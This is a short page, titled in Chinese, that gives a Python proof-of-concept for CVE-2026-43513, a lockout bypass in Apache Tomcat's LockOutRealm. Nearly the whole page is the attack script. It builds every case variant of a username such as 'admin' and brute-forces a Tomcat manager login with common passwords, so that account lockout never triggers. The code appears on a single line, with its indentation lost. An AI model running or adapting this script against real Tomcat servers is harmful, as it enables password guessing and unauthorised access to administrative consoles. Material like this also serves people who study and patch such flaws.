CVE-2026-43513 Apache Tomcat认证绕过漏洞

# PoC for CVE-2026-43513: Apache Tomcat LockOutRealm Bypass # This script demonstrates how an attacker can bypass account lockout # by varying the case of the username. import itertools import requests def generate_case_permutations(username): """Generate all possible case variations of a username.""" return set([''.join(p) for p in itertools.product(*[c.lower()+c.upper() for c in username])]) def attempt_login(url, username, password): """Simulate a login request.""" # Note: Actual endpoint and parameters depend on Tomcat configuration payload = {'j_username': username, 'j_password': password} try: response = requests.post(url, data=payload, timeout=5) return response.status_code == 200 and "Login Failed" not in response.text except requests.RequestException: return False def main(): target = "http://target-tomcat-manager:8080/manager/html" target_user = "admin" passwords = ["password", "123456", "admin", "tomcat"] print(f"[*] Starting brute force attack bypass for user: {target_user}") # Generate case variants (e.g., admin, Admin, ADMIN, aDmin, etc.) user_variants = generate_case_permutations(target_user) print(f"[*] Generated {len(user_variants)} username variants.") for pwd in passwords: for variant in user_variants: if attempt_login(target, variant, pwd): print(f"[+] SUCCESS! Logged in with username: '{variant}' and password: '{pwd}'") return else: print(f"[-] Failed with username: '{variant}' and password: '{pwd}'") print("[*] Attack completed.") if __name__ == "__main__": main()